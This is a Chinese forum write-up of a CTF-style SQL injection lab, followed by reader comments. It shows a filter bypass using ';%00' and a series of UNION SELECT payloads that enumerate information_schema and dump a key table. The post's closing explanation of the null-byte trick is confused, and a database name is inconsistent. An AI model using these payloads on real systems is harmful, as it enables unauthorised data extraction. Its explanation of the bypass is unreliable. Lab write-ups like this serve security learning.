记一次sql注入---绕过他们的规则吧!

zzzazzz   ·   发表于 2023-09-20 13:35:10   ·   CTF&WP专版

规则就是用来打破的!!!

今天,逛靶场的时候发现一个会过滤的靶场。
那就让我们来看看吧。

先分析源码

很明显这里面过滤了—和#。
同时,这又是个字符串,所以我们的注释方法需要进行更改。
在我试过|| ‘ 和 ASCII码转意等等的方法,最后得出了;%00进行桡过。
先通过and 1=1 和 and 1=2来看看这个绕过方法。



会发现存在注入点,先使用order by来判断列数。

在7的时候报错,证明在有6列。
使用联合查询来判断回显位置。

  1. union select 1,2,3,4,5,6


在2号位显示。
就可以通过database()函数爆当前数据库名字

  1. union select 1,database(),3,4,5,6


得到库名为2wed.
在查询该数据库的表。

  1. union select distinct 1,table_name,3,4,5,6 from information_schema.tables where table_schema="2web" limit 0,1


发现个IS_KEY的表。
看看表里有什么。
使用函数爆字段。

  1. union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema='2web'and table_name='IS_KEY'


只有个haha,那就去瞧一瞧。

  1. union select 1,group_concat(haha),3,4,5,6 from IS_KEY


得到key。

总结:;%00是一种用来代替空格的字符,它的十六进制表示是00,也就是ASCII码中的NULL字符。在一些编程语言中,NULL字符被用来表示字符串的结束,所以有时候可以用它来截断后面的字符串,从而绕过一些检查或者拼接。

用户名金币积分时间理由
Track-魔方 50.00 0 2023-09-20 20:08:12 首发鼓励 50
Track-魔方 300.00 0 2023-09-20 20:08:56 深度 100 普适 100 可读 100

打赏我,让我更有动力~

5 条回复   |  直到 9个月前 | 546 次浏览

Track-魔方
发表于 2023-9-20

有些图片还是漏点了,检查一下,重新上码

评论列表

  • 加载数据中...

编写评论内容

Track-魔方
发表于 2023-9-20

加油

评论列表

  • 加载数据中...

编写评论内容

hanxi6688
发表于 2023-9-21

6666

评论列表

  • 加载数据中...

编写评论内容

hksf
发表于 2023-10-9

咋中间镶嵌了广告呢

评论列表

  • 加载数据中...

编写评论内容

学kali的小白
发表于 9个月前

不是只检测了—和#吗?这和%00有啥关系

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.